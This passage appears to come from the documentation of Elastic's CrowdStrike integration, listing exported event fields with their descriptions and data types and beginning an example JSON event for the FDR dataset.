crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword | -| crowdstrike.event.AgentId | | keyword | -| crowdstrike.event.AgentIdString | | keyword | -| crowdstrike.event.AggregateId | | keyword | -| crowdstrike.event.AnodeIndicators | | nested | -| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword | -| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword | -| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened | -| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested | -| crowdstrike.event.AuditKeyValues.Key | | keyword | -| crowdstrike.event.AuditKeyValues.ValueString | | keyword | -| crowdstrike.event.Category | IDP incident category. | keyword | -| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword | -| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword | -| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested | -| crowdstrike.event.CloudPlatform | | keyword | -| crowdstrike.event.CloudProvider | | keyword | -| crowdstrike.event.CloudService | | keyword | -| crowdstrike.event.Commands | Commands run in a remote session. | keyword | -| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword | -| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword | -| crowdstrike.event.ContentPatternCounts | | nested | -| crowdstrike.event.ContentPatterns.ConfidenceLevel | | long | -| crowdstrike.event.ContentPatterns.ID | | keyword | -| crowdstrike.event.ContentPatterns.MatchCount | | long | -| crowdstrike.event.ContentPatterns.Name | | keyword | -| crowdstrike.event.CustomerId | Customer identifier. | keyword | -| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword | -| crowdstrike.event.Description | | keyword | -| crowdstrike.event.Destination | | nested | -| crowdstrike.event.Destination.Channel | | keyword | -| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword | -| crowdstrike.event.DetectName | Name of the detection. | keyword | -| crowdstrike.event.DetectionType | | keyword | -| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword | -| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested | -| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested | -| crowdstrike.event.DomainName | | keyword | -| crowdstrike.event.EgressEventId | | keyword | -| crowdstrike.event.EgressSessionId | | keyword | -| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword | -| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested | -| crowdstrike.event.EventTimestamp | | date | -| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword | -| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested | -| crowdstrike.event.ExecutablesWritten.FileName | | keyword | -| crowdstrike.event.ExecutablesWritten.FilePath | | keyword | -| crowdstrike.event.ExecutablesWritten.Timestamp | | keyword | -| crowdstrike.event.ExecutionID | | keyword | -| crowdstrike.event.ExecutionMetadata.ExecutionDuration | | long | -| crowdstrike.event.ExecutionMetadata.ExecutionStart | | date | -| crowdstrike.event.ExecutionMetadata.ReportFileName | | keyword | -| crowdstrike.event.ExecutionMetadata.ResultCount | | long | -| crowdstrike.event.ExecutionMetadata.ResultID | | keyword | -| crowdstrike.event.ExecutionMetadata.SearchWindowEnd | | date | -| crowdstrike.event.ExecutionMetadata.SearchWindowStart | | date | -| crowdstrike.event.FalconHostLink | | keyword | -| crowdstrike.event.FileCategoryCounts | | nested | -| crowdstrike.event.FileName | | keyword | -| crowdstrike.event.FilePath | | keyword | -| crowdstrike.event.FileType.Type.CategoryID | | keyword | -| crowdstrike.event.FileType.Type.CategoryName | | keyword | -| crowdstrike.event.FileType.Type.Description | | keyword | -| crowdstrike.event.FileType.Type.ID | | keyword | -| crowdstrike.event.FileType.Type.Name | | keyword | -| crowdstrike.event.FilesAccessed.FileName | | keyword | -| crowdstrike.event.FilesAccessed.FilePath | | keyword | -| crowdstrike.event.FilesAccessed.Timestamp | | date | -| crowdstrike.event.FilesEgressedCount | | long | -| crowdstrike.event.FilesWritten.FileName | | keyword | -| crowdstrike.event.FilesWritten.FilePath | | keyword | -| crowdstrike.event.FilesWritten.Timestamp | | date | -| crowdstrike.event.Finding | The details of the finding. | keyword | -| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float | -| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean | -| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean | -| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean | -| crowdstrike.event.GrandParentCommandLine | | keyword | -| crowdstrike.event.GrandParentImageFileName | | keyword | -| crowdstrike.event.GrandParentImageFilePath | | keyword | -| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword | -| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword | -| crowdstrike.event.GrandparentImageFilePath | | keyword | -| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text | -| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword | -| crowdstrike.event.Hostname | | keyword | -| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword | -| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword | -| crowdstrike.event.IOARuleGroupName | | keyword | -| crowdstrike.event.IOARuleInstanceID | | keyword | -| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long | -| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword | -| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword | -| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword | -| crowdstrike.event.IPv4 | | ip | -| crowdstrike.event.IPv6 | | ip | -| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword | -| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword | -| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword | -| crowdstrike.event.IncidentType | Incident Type | keyword | -| crowdstrike.event.Ipv | Protocol for network request. | keyword | -| crowdstrike.event.IsClipboard | | boolean | -| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date | -| crowdstrike.event.ItemType | Type of raw intelligence. | keyword | -| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword | -| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword | -| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long | -| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword | -| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested | -| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword | -| crowdstrike.event.LocalIPv6 | | ip | -| crowdstrike.event.LogonDomain | | keyword | -| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword | -| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword | -| crowdstrike.event.MatchCount | Number of firewall rule matches. | long | -| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long | -| crowdstrike.event.MatchedClassification.ID | | keyword | -| crowdstrike.event.MatchedClassification.Name | | keyword | -| crowdstrike.event.MitreAttack.PatternID | | keyword | -| crowdstrike.event.MitreAttack.Tactic | | keyword | -| crowdstrike.event.MitreAttack.TacticID | | keyword | -| crowdstrike.event.MitreAttack.Technique | | keyword | -| crowdstrike.event.MitreAttack.TechniqueID | | keyword | -| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested | -| crowdstrike.event.MobileAppsDetails.AndroidAppLabel | | keyword | -| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName | | keyword | -| crowdstrike.event.MobileAppsDetails.AppIdentifier | | keyword | -| crowdstrike.event.MobileAppsDetails.AppInstallerInformation | | keyword | -| crowdstrike.event.MobileAppsDetails.DexFileHashes | | keyword | -| crowdstrike.event.MobileAppsDetails.ImageFileName | | keyword | -| crowdstrike.event.MobileAppsDetails.IsBeingDebugged | | keyword | -| crowdstrike.event.MobileAppsDetails.IsContainerized | | keyword | -| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested | -| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested | -| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date | -| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested | -| crowdstrike.event.Name | | keyword | -| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested | -| crowdstrike.event.NetworkAccesses.AccessTimestamp | | keyword | -| crowdstrike.event.NetworkAccesses.AccessType | | keyword | -| crowdstrike.event.NetworkAccesses.ConnectionDirection | | keyword | -| crowdstrike.event.NetworkAccesses.IsIPV6 | | keyword | -| crowdstrike.event.NetworkAccesses.LocalAddress | | keyword | -| crowdstrike.event.NetworkAccesses.LocalPort | | keyword | -| crowdstrike.event.NetworkAccesses.Protocol | | keyword | -| crowdstrike.event.NetworkAccesses.RemoteAddress | | keyword | -| crowdstrike.event.NetworkAccesses.RemotePort | | keyword | -| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword | -| crowdstrike.event.NotificationId | ID of the generated notification. | keyword | -| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long | -| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long | -| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword | -| crowdstrike.event.Objective | Method of detection. | keyword | -| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested | -| crowdstrike.event.OperationName | Event subtype. | keyword | -| crowdstrike.event.OriginWebLocations | | flattened | -| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword | -| crowdstrike.event.ParentImageFilePath | | keyword | -| crowdstrike.event.ParentProcessId | | long | -| crowdstrike.event.PatternDispositionDescription | | keyword | -| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem | | boolean | -| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.Detect | | boolean | -| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded | | boolean | -| crowdstrike.event.PatternDispositionFlags.InddetMask | | boolean | -| crowdstrike.event.PatternDispositionFlags.Indicator | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillActionFailed | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillParent | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillProcess | | boolean | -| crowdstrike.event.PatternDispositionFlags.KillSubProcess | | boolean | -| crowdstrike.event.PatternDispositionFlags.OperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.PolicyDisabled | | boolean | -| crowdstrike.event.PatternDispositionFlags.ProcessBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.QuarantineFile | | boolean | -| crowdstrike.event.PatternDispositionFlags.QuarantineMachine | | boolean | -| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked | | boolean | -| crowdstrike.event.PatternDispositionFlags.Rooting | | boolean | -| crowdstrike.event.PatternDispositionFlags.SensorOnly | | boolean | -| crowdstrike.event.PatternDispositionFlags.SuspendParent | | boolean | -| crowdstrike.event.PatternDispositionFlags.SuspendProcess | | boolean | -| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer | -| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword | -| crowdstrike.event.PlatformId | | keyword | -| crowdstrike.event.PlatformName | | keyword | -| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword | -| crowdstrike.event.PolicyId | The ID of the associated Policy. | long | -| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword | -| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date | -| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword | -| crowdstrike.event.ProcessId | | long | -| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword | -| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword | -| crowdstrike.event.ReferrerUrl | | keyword | -| crowdstrike.event.Region | | keyword | -| crowdstrike.event.RelatedClassifications.ID | | keyword | -| crowdstrike.event.RelatedClassifications.Name | | keyword | -| crowdstrike.event.ReportFileReference | | keyword | -| crowdstrike.event.ReportID | | keyword | -| crowdstrike.event.ReportName | | keyword | -| crowdstrike.event.ReportType | | keyword | -| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened | -| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword | -| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword | -| crowdstrike.event.ResourceName | Resource name if any. | keyword | -| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword | -| crowdstrike.event.ResponseAction | | keyword | -| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested | -| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword | -| crowdstrike.event.RuleAction | Firewall rule action. | keyword | -| crowdstrike.event.RuleId | | keyword | -| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword | -| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword | -| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword | -| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword | -| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword | -| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword | -| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword | -| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword | -| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword | -| crowdstrike.event.ScanResults | Array of scan results. | nested | -| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword | -| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword | -| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword | -| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword | -| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword | -| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword | -| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword | -| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer | -| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword | -| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword | -| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword | -| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword | -| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword | -| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword | -| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword | -| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword | -| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword | -| crowdstrike.event.State | Identity-based detection or incident status. | keyword | -| crowdstrike.event.Status | CrowdStrike status. | keyword | -| crowdstrike.event.StatusMessage | | keyword | -| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean | -| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword | -| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested | -| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested | -| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword | -| crowdstrike.event.TargetAccountName | Target user name. | keyword | -| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword | -| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword | -| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword | -| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword | -| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword | -| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword | -| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword | -| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date | -| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested | -| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword | -| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword | -| crowdstrike.event.UserDepartment | | keyword | -| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword | -| crowdstrike.event.UserMapped | | boolean | -| crowdstrike.event.UserName | | keyword | -| crowdstrike.event.UserNotified | | boolean | -| crowdstrike.event.UserTitle | | keyword | -| crowdstrike.event.UserUUID | | keyword | -| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword | -| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword | -| crowdstrike.metadata.customerIDString | Customer identifier | keyword | -| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword | -| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer | -| crowdstrike.metadata.version | Schema version | keyword | -| data_stream.dataset | Data stream dataset name. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| destination.as.organization.name | Organization name. | keyword | -| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | -| destination.geo.city_name | City name. | keyword | -| destination.geo.continent_name | Name of the continent. | keyword | -| destination.geo.country_iso_code | Country ISO code. | keyword | -| destination.geo.country_name | Country name. | keyword | -| destination.geo.location | Longitude and latitude. | geo_point | -| destination.geo.region_iso_code | Region ISO code. | keyword | -| destination.geo.region_name | Region name. | keyword | -| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | -| destination.port | Port of the destination. | long | -| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | -| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword | -| error.message | Error message. | match_only_text | -| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | -| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | -| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword | -| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | -| event.dataset | Event dataset | constant_keyword | -| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date | -| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred. It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date | -| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | -| event.module | Event module | constant_keyword | -| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | -| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | -| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long | -| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date | -| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | -| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword | -| file.hash.md5 | MD5 hash. | keyword | -| file.hash.sha1 | SHA1 hash. | keyword | -| file.hash.sha256 | SHA256 hash. | keyword | -| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | -| file.path.text | Multi-field of `file.path`. | match_only_text | -| host.containerized | If the host is a container. | boolean | -| host.os.build | OS build information. | keyword | -| host.os.codename | OS codename, if any. | keyword | -| input.type | Type of Filebeat input. | keyword | -| log.flags | Flags for the log file. | keyword | -| log.offset | Offset of the entry in the log file. | long | -| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text | -| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | -| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword | -| observer.product | The product name of the observer. | keyword | -| observer.vendor | Vendor name of the observer. | keyword | -| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | -| process.end | The time the process ended. | date | -| process.executable | Absolute path to the process executable. | keyword | -| process.executable.text | Multi-field of `process.executable`. | match_only_text | -| process.name | Process name. Sometimes called program name or similar. | keyword | -| process.name.text | Multi-field of `process.name`. | match_only_text | -| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | -| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | -| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text | -| process.parent.executable | Absolute path to the process executable. | keyword | -| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text | -| process.parent.pid | Process id. | long | -| process.pid | Process id. | long | -| process.start | The time the process started. | date | -| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | -| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | -| related.ip | All of the IPs seen on your event. | ip | -| related.user | All the user names or other user identifiers seen on the event. | keyword | -| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword | -| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword | -| rule.description | The description of the rule generating the event. | keyword | -| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword | -| rule.name | The name of the rule or signature generating the event. | keyword | -| rule.ruleset | Name of the ruleset, policy, group, or parent category in which the rule used to generate this event is a member. | keyword | -| rule.uuid | A rule ID that is unique within the scope of a set or group of agents, observers, or other entities using the rule for detection of this event. | keyword | -| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | -| source.as.organization.name | Organization name. | keyword | -| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | -| source.geo.city_name | City name. | keyword | -| source.geo.continent_name | Name of the continent. | keyword | -| source.geo.country_iso_code | Country ISO code. | keyword | -| source.geo.country_name | Country name. | keyword | -| source.geo.location | Longitude and latitude. | geo_point | -| source.geo.region_iso_code | Region ISO code. | keyword | -| source.geo.region_name | Region name. | keyword | -| source.ip | IP address of the source (IPv4 or IPv6). | ip | -| source.port | Port of the source. | long | -| tags | List of keywords used to tag each event. | keyword | -| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | -| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | -| threat.tactic.name | Name of the type of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/) | keyword | -| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | -| threat.technique.name | The name of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | -| threat.technique.name.text | Multi-field of `threat.technique.name`. | match_only_text | -| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | -| user.email | User email address. | keyword | -| user.id | Unique identifier of the user. | keyword | -| user.name | Short name or login of the user. | keyword | -| user.name.text | Multi-field of `user.name`. | match_only_text | - - -### FDR - -This is the `fdr` dataset. - -#### Example - -An example event for `fdr` looks as following: - -```json -{ - "@timestamp": "2020-10-01T09:58:32.519Z", - "agent": { - "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", - "name": "elastic-agent-30302", - "type": "filebeat", - "version": "8.18.0" - }, - "aws": { - "s3": { - "bucket": { - "name": "elastic-package-crowdstrike-fdr-30445" - }, - "object": { - "key": "data" - } - } - }, - "crowdstrike": { - "AuthenticationId": "3783389", - "ConfigStateHash": "3998263252", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "4096", - "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", - "ParentAuthenticationId": "3783389", - "ProcessCreateFlags": "525332", - "ProcessParameterFlags": "16385", - "ProcessSxsFlags": "1600", - "RpcClientProcessId": "2439558094566", - "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "SessionId": "1", - "SourceProcessId": "2439558094566", - "SourceThreadId": "77538684027214", - "Tags": [ - "41", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "WindowFlags": "128", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949", - "info": { - "host": { - "AgentLoadFlags": "1", - "AgentLocalTime": "1697775225", - "AgentTimeOffset": "15889.017", - "AgentVersion": "7.01.13922.0", - "BiosManufacturer": "Iris", - "BiosVersion": "vG17V.21040423/z64", - "ChassisType": "Other", - "City": "Chicago", - "ConfigBuild": "1007.3.0017312.1", - "ConfigIDBuild": "13922", - "Continent": "North America", - "Country": "United States of America", - "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", - 